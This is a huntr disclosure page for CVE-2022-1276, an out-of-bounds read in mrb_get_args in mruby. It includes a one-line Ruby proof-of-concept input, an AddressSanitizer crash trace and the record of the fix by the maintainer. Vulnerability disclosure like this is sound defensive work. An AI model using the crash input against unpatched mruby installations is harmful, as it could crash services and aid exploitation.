huntr

Out-of-bounds Read in mrb_get_args in mruby/mruby

0

✓ Valid   Reported on Apr 6th 2022

Out-of-bounds Read in mrb_get_args in mruby/mruby

Affected commit

3cf291f72224715942beaf8553e42ba8891ab3c6

Proof of Concept

```
0..% = [0,0,0,0,0,0,0,0,0,0,0,0,0,**{}] = 0
```

Below is the output from mruby ASAN build:

```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==36059==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000011 (p
==36059==The signal is caused by a READ memory access.
==36059==Hint: address points to the zero page.
    #0 0x418ac7 in mrb_get_args /root/mruby/src/class.c:1009
    #1 0x456ac6 in mrb_str_aset_m /root/mruby/src/string.c:1334
    #2 0x4840ba in mrb_vm_exec /root/mruby/src/vm.c:1638
    #3 0x475dcc in mrb_vm_run /root/mruby/src/vm.c:1132
    #4 0x4bf928 in mrb_top_run /root/mruby/src/vm.c:3045
    #5 0x4eba38 in mrb_load_exec mrbgems/mruby-compiler/core/parse.y:6891
    #6 0x4ebcd5 in mrb_load_detect_file_cxt mrbgems/mruby-compiler/core/par
    #7 0x40672c in main /root/mruby/mrbgems/mruby-bin-mruby/tools/mruby/mru
    #8 0x7f8cad9030b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6
    #9 0x403a7d in _start (/root/mruby/bin/mruby+0x403a7d)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/mruby/src/class.c:100
==36059==ABORTING
```

Test Platform:

Ubuntu 18.04

Acknowledgements

This bug was found by Ken Wong(@wwkenwong) from Black Bauhinia(@blackb6a) and Alex Cheung

Impact

Possible arbitrary code execution if being exploited.

CVE
CVE-2022-1276
(Published)

Vulnerability Type
CWE-125: Out-of-bounds Read

Severity
High (8.4)

Registry
Other

Affected Version
3cf291f72224715942beaf8553e42ba8891ab3c6

Visibility
Public

Status
Fixed

Found by

wwkenwong
@wwkenwong
unranked

Fixed by

Fixed by

Yukihiro "Matz" Matsumoto

@matz

maintainer

This report was seen 634 times.

We are processing your report and will contact the **mruby** team within 24 hours. 8 months ago

We have contacted a member of the **mruby** team and are waiting to hear back 8 months ago

Yukihiro "Matz" Matsumoto modified the report 8 months ago

Yukihiro "Matz" Matsumoto validated this vulnerability 8 months ago

wwkenwong has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Yukihiro "Matz" Matsumoto marked this as fixed in 3.2 with commit c8c083 8 months ago

Yukihiro "Matz" Matsumoto has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Sign in to join this conversation